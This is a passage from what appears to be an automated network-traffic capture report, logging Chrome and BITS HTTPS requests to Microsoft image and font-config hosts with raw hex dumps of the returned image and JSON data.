d2 3f 3c a8 8a e1 cd ba b0 a9 b1 eb 7d 3e b6 30 ea a4 b6 d3 3d 75 ef 7d 57 3f fc 1b bb 9f f9 e2 c3 9d de c2 d2 f2 8d dd dd 
ab c3 7d 01 d6 07 8b 67 d7 d6 8c b1 d7 76 77 77 86 a3 4e 9e 1d 5b 5a ea 67 39 a0 d7 c7 a3 57 f6 f7 72 a4 f7 f7 8f 3d f4 
2e dc ff c7 8b 13 0f 98 7c 65 01 59 0a 4a 21 16 81 
Data Ascii: ;]H%r*A=8_3WHT xn10l_|q|ha_=oO4gAE_}z4kuei9qbcO{oL\w?<}>0=u}W?}gvwwN[Zg9Wr=.|eYJ!

2022-06-08 07:54:29 UTC 752 IN Data Raw: c8 a7 ef a2 b5 75 bc ff bd b8 fb 2e 3c f3 0c 5e 7e 05 93 a9 5a 83 4e 6e 96 96 fa c6 f4 7b fd ea f0 60 34 1c ed 
17 d3 51 39 1d bf 5a e9 9b 63 c9 3a 49 b2 db a1 3d 37 a2 24 4f 7c c7 8d ae 14 d5 e4 c0 be ef 09 4a fa ba 31 a4 de 59 77 
ed 16 16 57 55 ab b0 b7 0b e6 3c 31 36 48 f0 ea bc af 67 f5 6c 7b 72 f3 e5 bd e9 f1 ee e2 4a 96 80 4d d2 e9 2d f7 17 d7 
d0 5f 2e f3 94 6c 96 90 b1 06 6a a1 6c 18 56 89 63 de eb dc 0e 43 31 03 cf 15 75 31 2a cb 61 55 4e eb 50 07 b2 94 a4 26 
c9 ad 49 a8 31 35 73 14 4a 89 88 06 27 ae 0c ae f2 c1 2b a0 4c 88 78 32 af c1 8c b4 b3 81 72 8c 4b 86 6f b2 0d aa 95 a3 
b1 e3 a1 37 85 10 1c 6f af 57 d7 7b c1 78 74 e2 37 5b c1 0c 9b 21 ef a2 bf c8 44 5a cf 14 be 69 e2 89 40 06 24 77 24 a3 
09 1a fd aa c7 e2 31 54 33 20 a0 6f 31 30 aa 0a cb e8 
Data Ascii: u.<^~ZNn{`4Q9Zc:I=7$O|J1YwWU<16Hgl{rJM-_.ljlVcC1u1*aUNP&I15sJ'+Lx2rKo7oW{xt7[!DZi@$w$1T3 o10

2022-06-08 07:54:29 UTC 760 IN Data Raw: 5d 6b 8c 9e 8a 64 09 3a 5a 78 0b 28 f6 21 42 f0 11 83 02 aa 99 5c 7b 9f 78 cf c1 93 eb 85 e9 43 e5 e8 81 c2 
ad 7a 04 f0 3e 4c 02 9b c2 da 36 43 a2 4d 3b 89 2a 2f c3 48 73 b6 26 a9 8b 50 cd 7c 5d 22 cd 23 f6 8e f3 2c 4b 73 52 68 
d6 47 da 83 02 b7 2e e2 e4 83 38 fb 08 6e bd 01 6b 91 e7 18 0c b0 d8 13 dd 28 ab 11 1b a3 27 68 30 b2 e5 4d 2e 53 c6 
e1 18 5b 07 38 b5 06 22 38 07 55 18 83 51 65 ea 3a b5 1c 88 d8 da ac 73 7b 7b 67 6f 7f 2f cb d3 b5 f5 35 c3 ac ce 0b 71 
8b dd 50 cf 54 c3 27 81 43 90 ab 37 6f dc 7b cf 85 2a f8 3a d4 31 72 8f 00 11 15 09 2a 2a 21 04 11 e7 3d 98 3b eb eb d3 
c9 58 43 b0 44 22 52 0f 47 0b 3e 24 5d 13 8e b4 08 1a a0 d1 5e e2 5c 3d 1e 8e cb a2 10 11 66 0e 21 7c cd 09 39 da d6 
1f 61 2f d4 18 d3 e9 74 38 ba d7 a0 5f 83 ef 23 6a 69 d2 4d cc 
Data Ascii: ]kd:Zx(!B\{xCz>L6CM;*/Hs&P|]"#,KsRhG.8nk('h0M.S[8"8UQe:s{{go/5qPT'C7o{*:1r**!=;XCD"RG>$]^\=f!|9a/t
8_#jiM

2022-06-08 07:54:29 UTC 776 IN Data Raw: aa 42 29 5a 25 84 64 88 0d a8 51 51 63 a0 ac 6a 34 b1 24 ad 6a 82 da 13 8e 4f 44 04 61 86 44 d9 5f cc 6e 3c 
7e f0 c6 6b af ef ec 9e 5e df d9 8e 22 75 55 1d 3f d9 5b 4c a6 31 c4 2c cf 5c e6 ac cb 54 55 88 06 c3 a1 eb 95 fb 0f 1f 5d 
7f ed f5 f7 af 7f 28 4d f5 6b 9f 38 f3 57 be fc fc 97 3e 76 71 e7 d4 b6 19 0c 91 15 20 0b 90 08 a2 68 94 13 d7 3c 26 fb 8c 
ce 9e 56 74 fc 8e 34 99 58 2a 51 63 5c 51 8f 7d 17 1b 2d 31 c5 52 51 ca d7 65 43 9c 22 2e 53 2b 4d 87 d9 10 7d 1b 9a 
da d7 b5 b6 cd 8d 77 de 69 fb 67 2e bc f4 f9 d6 07 62 c7 36 66 85 18 83 dc db 98 3b 9f 67 45 66 cb e5 b2 74 a6 f7 f2 27 f7 
c7 6b b3 1b 6f 1e ce a7 69 93 e6 95 49 85 81 3a a7 86 89 1d 75 49 24 82 74 ef 44 66 94 35 b6 1e 42 41 74 7e b4 e0 3c 
03 f8 5c e1 fe ea cf 6f fd d4 a7 36 7f ef 3b 7b df 7c 
Data Ascii: B)Z%dQQcj4$jODaD_n<~k^"uU?[L1,\TU](Mk8W>vq h<&Vt4X*Qc\Q}-1RQeC".S+M}wig.b6f;gEft'koiI:uI
$tDf5BAt~<\o6;{|

2022-06-08 07:54:29 UTC 783 IN Data Raw: 78 49 2f cd 20 31 36 12 42 f4 6d f0 41 62 d4 36 6a dd a2 0a 58 b6 a8 3c 9a 80 65 83 65 83 a0 d0 22 2f 2e 5e 
59 bb f4 b1 fe b9 e7 07 9b a7 47 83 7e 2f b7 f9 ea 47 96 e5 d6 39 63 1d b3 21 36 9d 5e 37 75 95 84 d7 a7 a3 44 ca 24 0d 
d1 7b ef db ce 6b 2e 86 28 01 59 56 9e 3d 7b fe dc b9 73 59 e6 44 7e 62 45 3e 59 94 55 35 c6 d8 b6 5e c4 bf f3 fe dd 3f 
fe f6 87 ce 59 66 0b 62 fb e8 e8 c0 b1 29 b2 2c 77 59 66 ac 61 8e 21 32 b5 de 18 ef 33 6b 9d b5 c6 59 97 7e 65 bb e0 77 
63 d9 58 63 c8 b0 0f de a4 77 85 08 11 c5 10 53 ab d0 14 51 4f 12 45 10 23 07 56 95 10 22 a9 5a e8 6a 45 39 f9 e2 82 84 
20 2b 13 47 e2 48 c4 5d 5a dc d3 84 17 7d 86 1a cd 38 09 43 25 26 63 d9 75 df ba 93 b8 b1 66 ce 03 63 5e fe c4 c7 de fe 
f1 5b 1f 7d 33 9c f9 ec 9f 11 ce 1e de bd dd b6 7e f7 fc 
Data Ascii: xI/ 16BmAb6jX<ee"/.^YG~/G9c!6^7uD${k.(YV={sYD~bE>YU5^?Yfb),wYfa!23kY~ewcXcwSQOE#V"ZjE9 +
GH]Z}8C%&cufc^[}3~

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

41 192.168.2.3 49765 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:54:29 UTC 797 OUT GET /image/apps.7873.9007199266243449.90709ce3-050c-4cef-8d4a-9ef213b89ef2.7885dc21-4015-4284-a596-d
3d24cf6c1b8?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:54:29 UTC 798 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 4575
Content-Type: image/png
Last-Modified: Tue, 06 Oct 2020 07:51:50 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDg2OUNDQUY1N0U0QUI"
MS-CV: zZpfTR4fs0yHFO1I.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:54:29 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:54:29 UTC 798 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 03 00 00 00 4e a3 7e 47 00 00 
03 00 50 4c 54 45 00 1e 36 23 3d 52 b7 bf c6 2b b0 fe ab b5 bc 37 4f 61 bf c6 cc ff ff ff 2c b1 ff 1f 3a 4f 2b af fd 09 40 64 
00 1f 38 00 1f 37 00 21 3a 00 20 39 00 1e 37 00 22 3c 00 21 3b 01 23 3d 01 24 3f 20 8f d2 2b ae fc 0e 54 82 10 58 87 22 
97 dc 1a 77 b1 01 28 44 01 24 3e 02 28 45 00 21 3b 29 ab f7 21 92 d6 09 42 68 10 59 88 02 2a 47 00 20 3a 0c 4b 75 04 
2f 4e 14 65 98 20 91 d4 fe fe fe 29 ad fa 03 2b 49 01 27 43 21 93 d8 08 3e 62 2a af fc 0b 4a 73 1e 87 c7 26 a3 ed 0d 4d 
77 06 36 58 01 23 3e 1d 84 c3 01 25 40 0b 49 71 1e 89 c9 07 38 5b 21 94 d8 1b 80 be 1b 7f bc 08 3f 64 2a ae fb 28 a8 f3 
22 96 da 03 2d 4b 07 3a 5d 0f 56 83 02 25 40 24 9c e3 0d 
Data Ascii: PNGIHDR,,N~GPLTE6#=R+7Oa,:O+@d87!: 97"<!;#=$? +TX"w(D$>(E!;)!BhY*G :Ku/Ne )+I'C!>b*Js&Mw
6X#>%@Iq8[!?d*("-K:]V%@$
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

42 192.168.2.3 49766 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:54:29 UTC 803 OUT GET /image/apps.8341.13510798886747090.a0953092-5fc3-46f0-aefa-796cb3a9b90b.fc0c6be7-c064-44dc-a7df-
81e7097e3c93?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:54:29 UTC 803 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 134215
Content-Type: image/jpeg
Last-Modified: Mon, 09 Aug 2021 18:24:58 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk1QjYyRkVDQ0U2RjU"
MS-CV: SxgH/nslsk+u9Yr4.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:54:29 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:54:29 UTC 803 IN Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 
79 00 01 00 04 00 00 00 64 00 00 ff e1 03 8e 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 
2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 
48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 
64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 
2e 30 2d 63 30 30 36 20 37 39 2e 64 61 62 61 63 62 62 2c 20 32 30 32 31 2f 30 34 2f 31 34 2d 30 30 3a 33 39 3a 34 34 
20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 
Data Ascii: ExifII*Duckydhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmp
meta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.dabacbb, 2021/04/14-00:39:44        "> <rdf:RDF 
x

2022-06-08 07:54:29 UTC 819 IN Data Raw: 9a dd ba 89 09 fa 89 ae 0a 5e e7 da b5 e7 13 b1 dd 61 24 03 6e 23 c8 7d e4 05 48 3e 59 0c aa 0f 53 8a f0 77 
89 2e 74 56 42 82 c1 4a f6 a2 88 41 8c 7b 96 43 c7 dd 1a 2a ef dc 8f 21 35 44 55 f4 f8 7c 74 5e a4 ed b7 98 6d dc cf 21 
30 eb 2c 09 3f 64 1a 1f 0e 80 78 75 c0 16 0e 5c bb 9e ef 6d 1e d3 66 91 ee 3f 2e 90 b2 aa d7 ba cb ad 07 da a8 66 6a 80 
4f a7 a6 46 86 98 e4 2b 0a e1 95 97 3e ce 34 82 88 8a 93 e1 8c e5 02 46 61 51 40 39 83 63 d5 5a 7e d3 95 1a f6 a6 bb 
b5 fe 5d 35 eb 27 b6 ba 64 36 3a d9 50 8f 43 10 0e a2 33 2a 7c ab d4 1f 0f 3a e3 ee d5 be 6c 50 5c 27 2a f9 58 27 b9 8d 
c8 b8 81 64 78 fb 4a ff 00 86 b3 a8 24 89 34 12 16 45 15 d5 5f b0 16 b8 19 7f 72 4e 56 c9 b8 8f c0 2f 2a f9 13 01 98 ca 8b 
90 f1 06 47 51 8f db 45 8c c6 9e a2 5e 52 e8 b8 92 5c 47 
Data Ascii: ^a$n#}H>YSw.tVBJA{C*!5DU|t^m!0,?dxu\mf?.fjOF+>4FaQ@9cZ~]5'd6:PC3*|:lP\'*X'dxJ$4E_rNV/*GQE^R\G

2022-06-08 07:54:29 UTC 835 IN Data Raw: 46 62 8e a5 87 83 0a e4 71 73 72 6e 2f 93 f9 1d c4 38 7e 25 89 16 b6 06 2b 92 96 92 eb 2e b9 b8 91 20 60 b1 
a8 a7 50 da 41 a9 87 1a 0b 5d 61 2f de df c7 8e 49 2a d7 c7 44 64 77 0f b8 8a f5 d2 49 74 9b 86 ff 00 b3 db 5b ed 22 31 
6c f4 76 77 3e 9a 2e 6a 02 8a b3 7a e8 4d 28 3d 34 d5 9e 23 bb 59 d8 78 17 2c bf ba e4 c6 79 2f 60 2d 14 50 c0 06 b0 64 
3a 64 2c ec 42 46 3b 25 91 6b ac d2 4d 5a 0e 91 5a 7e 77 8f 9c 39 cb b8 f6 6f e3 6e 6d cb 66 ce 71 89 14 f1 b1 8e 41 c2 
38 e3 23 3f 1e 8a 05 44 63 42 95 63 88 dd 4a c2 24 32 da aa 25 ab 22 b4 53 62 fd c9 92 0f 0d 48 02 b5 02 f7 b5 d1 8f f4 
f6 d5 b9 cf 3e cd b8 6e 8f 75 31 42 93 24 2c b1 84 06 9a 90 e9 57 a5 72 d4 a5 8b 10 28 40 15 c3 ff 00 35 dc f7 5d cf 8c 
47 ba 27 1d 93 6b d9 ee 9b f0 66 97 b9 24 93 29 a8 56 8a 
Data Ascii: Fbqsrn/8~%+. `PA]a/I*DdwIt["1lvw>.jzM(=4#Yx,y/`-Pd:d,BF;%kMZZ~w9onmfqA8#?DcBcJ$2%"SbH>nu
1B$,Wr(@5]G'kf$)V

2022-06-08 07:54:29 UTC 837 IN Data Raw: 34 db 72 ed af 92 f1 48 27 e1 5b 84 97 5b 65 c2 b6 bb 95 8d a3 46 21 99 4a 40 b2 28 93 b4 48 3a e5 21 4c c4 
7a 40 8c 51 ae ee 3e e0 1e 31 e5 ea 8a 0c c3 c3 4b 7b cf 1b 7c c1 c4 e1 4a b1 c7 21 e1 d7 97 75 b5 39 f5 9d 5b 1f 2d d8 
e5 bd 6f 76 44 6a c9 57 6c 1a 8a 1c 88 ea 5a e2 38 8c 04 f8 aa 12 29 07 1a da bd d2 96 c2 e5 b8 67 be fb 76 df c9 fd a3 
9d d6 33 3c d0 5b ad cd 92 9f 48 92 29 a2 58 e4 73 17 da 91 25 a4 c4 2b 3c 13 17 01 18 79 7d b6 df 40 ca 86 4d 45 cd 3c 
4a ea f0 d4 1a a0 03 d2 a3 a5 6b d2 b8 4d bc 95 9a e4 dc 9b c9 79 87 20 e6 95 b5 b5 59 96 4b 75 26 7e 59 0e 9a 94 18 
f4 2f d4 a8 c6 44 ba 92 b4 51 91 22 55 4d 9b 63 1c 87 94 10 b5 82 6c a7 91 58 c6 22 a3 53 a9 bc 13 8c 6d 9c 43 8c 58 71 
bd 92 79 ee 36 5b 3b 70 96 f2 4d 2f 7a 43 09 25 a2 06 52 2b 
Data Ascii: 4rH'[[eF!J@(H:!Lz@Q>1K{|J!u9[-ovDjWlZ8)gv3<[H)Xs%+<y}@ME<JkMy YKu&~Y/DQ"UMclX"SmCXqy6[;p
M/zC%R+

2022-06-08 07:54:29 UTC 853 IN Data Raw: 59 e3 a1 0e 1a 53 3c 1c d6 e0 47 b2 6f 05 ac f6 ab 68 26 79 65 af a9 63 94 47 e9 04 31 21 a8 07 a9 4a c8 75 
08 43 02 f9 09 6c c2 30 0f 2c 6d f3 d9 79 6e 01 86 e3 bc 79 81 d3 43 e3 da 39 99 72 64 d6 b6 3c 33 c5 21 b8 b0 b3 3d 2d 
21 eb e4 d7 46 b4 e4 6c b2 da d1 f3 ec ac 11 4b 26 de fa c1 50 62 70 10 6d 11 3e c7 d8 be 43 ed ff 00 20 83 60 bb dc 77 
18 f6 db 70 d7 7b 9e e1 2e 84 f9 fb a6 20 4d 72 63 61 24 9d 99 65 fc 0b 4b 78 c2 9e ca 47 1a fa 8c 8e 16 26 e8 bb 2d 8c 
4f b6 06 4b 76 70 20 b6 8f b6 1a 66 54 00 77 48 14 04 22 eb 9e 46 1a 63 8e 8a 08 01 14 dc d4 18 6c 85 8a 0e 21 f1 6b 8e 
a4 e3 38 f5 1d 50 6b 6c a7 d6 0e 35 6e 44 0c 7f 6a 3d 5d 9e 67 08 f1 40 e3 4c 6a 7a eb 20 95 70 e4 0a ca d0 8e ef 4e 92 
e4 56 39 4b d0 ee f3 5f 16 b4 e3 d1 49 1d aa a9 0c f5 55 
Data Ascii: YS<Goh&yecG1!JuCl0,mynyC9rd<3!=-!FlK&Pbpm>C `wp{. Mrca$eKxG&-OKvp fTwH"Fcl!k8Pkl5nDj=]g@Ljz 
pNV9K_IU

2022-06-08 07:54:29 UTC 865 IN Data Raw: d8 e3 b3 64 1f 70 35 29 0c da ad ed 87 b7 1c 6b 97 f3 c1 ee 0e f7 1c 4f 0f 1f b0 79 ac 9e 4d 45 25 b8 b9 55 45 
59 15 41 32 76 90 34 e2 22 0a 89 02 33 8c 86 0b 16 1b ed ca ed 5f 2d 6b 61 36 e1 25 b5 c0 63 14 6c 11 84 32 10 ae fa 
98 85 aa 10 f2 a2 57 d6 d1 e9 a1 c5 2b c2 3c 12 c8 d9 75 cf 1f 5f e6 1f 91 43 c7 1c 65 e4 05 8f 08 c3 94 64 8b c7 39 ec 
5e 68 e3 ee 36 cd 6a 5b 16 14 50 e1 d5 76 b9 06 39 7c 85 33 ab 0b 35 d1 c1 11 8c 90 45 d0 09 d7 59 38 ce eb b3 70 28 
e6 4e 18 2f ee ed b7 ad 8e cd bb 97 6b f8 51 ee 16 f7 96 77 73 08 5d 54 44 e5 49 8b b9 12 12 f0 90 03 b1 05 71 56 bd ca 
e7 b7 73 5a 47 bd 49 60 90 de 26 f3 b8 ec a7 70 d0 15 ee 6d 06 db 7f 71 06 a2 cc d7 32 47 6f 71 03 46 a6 60 88 ef 23 b4 
23 fc c3 88 a5 6d ad 15 3b 6b 93 17 52 86 a2 57 2e f9 37 77 
Data Ascii: dp5)kOyME%UEYA2v4"3_-ka6%cl2W+<u_Ced9^h6j[Pv9|35EY8p(N/kQws]TDIqVsZGI`&pmq2Goq
F`##m;kRW.7w
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2022-06-08 07:54:29 UTC 881 IN Data Raw: 4e eb c3 22 8a d3 6d da 2e 77 9b c9 86 53 45 1c 8d 6f 16 74 a4 ad 12 bb 34 87 a8 8d 42 d4 75 61 89 df 91 be 
45 da 60 98 25 04 bc 76 0f 36 1a ea ee d2 43 87 75 c8 b4 a0 c2 23 5d 52 0e 12 35 65 52 61 f3 24 93 21 8d 5e fb 04 45 69 
e5 b4 0a e6 b7 f9 17 77 a7 ad a7 67 37 fb 81 86 74 b1 82 d6 38 aa 7b 33 3d cb 6b 2d d1 a6 0a b1 31 03 a8 88 15 a9 eb 
96 1e 78 4f 29 f7 1e f2 d2 5d f7 99 6d ef 63 b6 ce 14 5b 23 c4 b0 b3 11 52 cc 23 d6 f2 85 a5 33 94 d4 e4 40 18 4f f9 ef 22 
67 d9 fd 99 6e 6f 6c 0d 13 62 bf db b5 e7 71 8c c5 77 fe b0 fd 10 41 92 a8 9a 21 13 73 da 9f ca ad 5f 5e 8a fb 55 8e df 61 
18 86 d9 43 31 ea 69 fb be 8f 86 17 ee bb 95 ee ec df 8a c5 61 1e 15 eb f4 e2 b3 ae a3 14 a2 8e 1c 44 77 72 41 37 c8 2e 
8a e5 46 aa ea f7 3d 5d ab b7 bd ca aa ba ae ae 5f 8f 
Data Ascii: N"m.wSEot4BuaE`%v6Cu#]R5eRa$!^Eiwg7t8{3=k-1xO)]mc[#R#3@O"gnolbqwA!s_^UaC1iaDwrA7.F=]_

2022-06-08 07:54:29 UTC 897 IN Data Raw: c8 f1 bb 21 e4 78 d5 bd 04 e2 4c a8 c7 b2 19 4d 61 ac 52 ae 51 02 15 99 81 65 cb f5 10 4d 45 6c 33 3b 5d 15 
8a e5 74 5e c3 91 6d 9b d4 7f 98 ed a2 58 68 d9 ac a9 a1 d0 9e b5 5a 9f 43 7d e1 f7 49 27 a1 38 8a df ec d7 3b 6c ed 6f 
75 a6 58 d9 34 b1 53 51 22 0f b2 6b 95 25 8f a0 3d 58 0f 30 31 f2 3c db f4 bd ff 00 ea 11 c4 70 28 b2 27 3a 2e 51 42 8a 8f 
4a bb 38 c8 e6 15 e1 6a 2e c7 ba b9 25 91 1b a7 a4 aa b9 2e 6a 2e a8 37 35 6a 4f 1c b1 b5 8c a3 f0 d8 d5 7c 74 b0 e9 9f 
8d 01 d3 e4 c8 c3 0a e0 84 6e 16 e2 de 43 ff 00 3b 10 a2 b7 f3 a9 e9 5f a6 80 ff 00 75 d7 e9 04 9a c7 b3 b3 63 12 69 b2 
ba 79 48 75 ab 09 5b b9 8f dc cb 5c 72 6a 0c 73 61 1d 35 d8 52 47 18 58 ff 00 5f f3 c7 d5 3f 9b a1 5e f3 b3 aa dc cd b6 4a 
29 6b 75 19 50 4f 40 49 aa 9f f7 24 00 fc 05 71 95 
Data Ascii: !xLMaRQeMEl3;]t^mXhZC}I'8;louX4SQ"k%=X01<p(':.QBJ8j.%.j.75jO|tnC;_uciyHu[\rjsa5RGX_?^J)kuPO@I$q

2022-06-08 07:54:29 UTC 905 IN Data Raw: 76 d6 c8 23 bf 0d ba f5 5d 76 bb 5a 5d 33 f8 2b 4c 3e 90 55 07 f5 d3 12 bb 66 5a 07 f0 21 3f ac 9f ea 38 85 f8 
2f 83 40 b1 be e5 3c aa 47 6e 38 32 5e 52 c7 a8 cf 2c 8c 57 fb 7a 0c 2b 11 a7 b9 b4 63 11 8a 8a 57 49 b2 9c 34 46 a6 88 
ae 62 2a aa 22 75 9c fb 70 93 e7 2d 6c d0 12 d1 5b b3 81 fd f9 1b 48 3f 50 5e bf 1c 58 ff 00 66 ec 82 d8 dd 6e e4 50 bb 
2c 48 7e 85 a9 a7 d2 58 7e cc 37 ce 33 80 3c 9e df 21 cb 1d 0f 20 b0 8f 8c 1a 63 dd 01 e3 00 52 8a e2 48 10 34 53 41 5e 
78 f3 22 92 75 90 a4 8d 23 48 2b 1c 36 6f 57 fc 59 d0 e2 f6 e1 90 97 91 a2 55 54 00 1c ff 00 10 d4 fa 6a 08 34 4a 16 65 
06 b9 01 d0 e0 fb bb 5b d7 6c b5 e3 36 8b 29 b9 bb 94 77 17 a1 8e 25 a1 2d 4a 11 59 09 0a ac 72 a1 27 c3 17 e6 35 84 
cf ce a6 4c a6 c7 32 30 94 53 ac 01 5e 59 73 eb ec cd 3b 
Data Ascii: v#]vZ]3+L>UfZ!?8/@<Gn82^R,Wz+cWI4Fb*"up-l[H?P^XfnP,H~X~73<! cRH4SA^x"u#H+6oWYUTj4Je[l6)w%-
JYr'5L20S^Ys;

2022-06-08 07:54:29 UTC 921 IN Data Raw: 81 2b 0f 04 8e 86 9a d6 bb 97 ac 67 39 55 55 55 55 57 55 55 55 5f 5e bf 37 81 d0 0a 00 00 c7 57 84 c0 64 29 
4c 44 f3 ae 39 c4 79 43 0e c8 b8 f3 3e a1 83 93 61 b9 7d 5c 9a 5c 82 8e c8 0c 3c 59 b0 66 0d 46 e5 44 7a 2a 82 5c 67 2a 
16 39 d8 ad 2c 73 31 a4 1b 9a f6 a2 a4 83 8a f2 fe 41 c1 79 1d 9f 31 e2 57 72 d8 f2 4d ba 75 9a de 78 d8 ab 23 a1 a8 e9 
f6 91 87 a6 44 6a ac 88 59 1c 15 62 30 d1 bf 6d 7b 57 23 da 2e 36 4d ea 08 ee 36 cb 98 99 24 8d c5 43 29 1f b8 8c 88 61 
46 56 01 94 86 00 8f e7 d7 cb 58 78 f8 cf 95 b9 3f 8d c3 35 6c 41 c7 fc 89 9a e1 51 ec 1c a8 e7 ce 8d 8b 64 96 54 91 a5 
91 cd fa 5c 59 00 84 d7 3d 53 d3 7a af 5f ae 3e 01 cb 1f 9a f0 3d 93 99 4b 18 86 5d db 67 b3 bc 68 c7 44 6b 9b 78 e6 64 
1f 05 67 20 7c 00 c7 12 79 2e ce bb 07 24 dc 36 24 6e e2 
Data Ascii: +g9UUUUWUUU_^7Wd)LD9yC>a}\\<YfFDz*\g*9,s1Ay1WrMux#DjYb0m{W#.6M6$C)aFVXx?5lAQdT
\Y=Sz_>=K]ghDkxdg |y.$6$n

2022-06-08 07:54:29 UTC 928 IN Data Raw: 4e 1f 5d 87 f8 49 8c d8 8e 4c c6 0a b2 c7 9c b9 5b 15 b2 c6 71 0a 21 39 a2 46 cf c0 f8 d0 8f 7d ce 63 61 28 44 
52 8a 4d b3 a1 43 0a b7 55 8a 6d cd e8 7f c9 38 27 15 e3 fb b3 6e be f1 4d 1b c8 1c b4 7b 65 8c c9 71 73 21 fe 4b 9b b5 
1d ab 75 07 22 90 09 64 3d 3b a9 4c 2e b4 b8 bd bd 91 6d 38 c3 15 90 fd a9 e5 05 55 3e 29 16 65 d8 f5 05 fd 23 f9 0e 09 
0c 07 c2 9e 48 64 d4 ce ae 79 2a b7 37 e4 89 ea ae ca b9 1b 23 c3 a8 0b 90 cf 96 20 1d ac 58 36 36 a4 c8 a6 d6 c5 ae 
90 45 74 70 83 b2 26 91 a8 8a ce da 2b 7a 80 ef de ff 00 6c ea bf 92 6d db 57 c8 71 d8 4d 22 b3 5b 89 55 15 49 a1 2e 91 
88 55 cb 52 85 9c b3 1f 3a e7 87 e8 b8 56 e2 91 77 c4 dd fd c1 89 ac b3 28 d4 c7 a7 a7 ed 11 42 72 cc 0f 0a 53 00 f7 97 
78 0c 7c 4c 80 e3 ec d7 c8 3f 27 79 4f 3d c8 14 67 a9 e2 
Data Ascii: N]IL[q!9F}ca(DRMCUm8'nM{eqs!Ku"d=;L.m8U>)e#Hdy*7# X66Etp&+zlmWqM"[UI.UR:Vw(BrSx|L?'yO=g

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

43 192.168.2.3 49767 23.211.4.86 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:54:30 UTC 934 OUT HEAD /fs/windows/config.json HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Encoding: identity
User-Agent: Microsoft BITS/7.8
Host: fs.microsoft.com

2022-06-08 07:54:30 UTC 935 IN HTTP/1.1 200 OK
Content-Length: 55
Content-Type: application/octet-stream
Last-Modified: Thu, 20 Apr 2017 16:10:39 GMT
Accept-Ranges: bytes
ETag: "f9c874a7f0b9d21:0"
Server: Microsoft-IIS/10.0
Content-Disposition: attachment; filename=config.json
X-Powered-By: ASP.NET
Cache-Control: public, max-age=98452
Date: Wed, 08 Jun 2022 07:54:30 GMT
Connection: close
X-CID: 2

Session ID Source IP Source Port Destination IP
Destination
Port

Process

44 192.168.2.3 49768 23.211.4.86 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:54:30 UTC 935 OUT GET /fs/windows/config.json HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Encoding: identity
If-Unmodified-Since: Thu, 20 Apr 2017 16:10:39 GMT
User-Agent: Microsoft BITS/7.8
Host: fs.microsoft.com

2022-06-08 07:54:30 UTC 935 IN HTTP/1.1 200 OK
Last-Modified: Thu, 20 Apr 2017 16:10:39 GMT
ETag: "f9c874a7f0b9d21:0"
Content-Type: application/octet-stream
Accept-Ranges: bytes
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=config.json
X-Powered-By: ASP.NET
Content-Length: 55
Cache-Control: public, max-age=116908
Date: Wed, 08 Jun 2022 07:54:30 GMT
Connection: close
X-CID: 2

2022-06-08 07:54:30 UTC 935 IN Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 
2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d 
Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

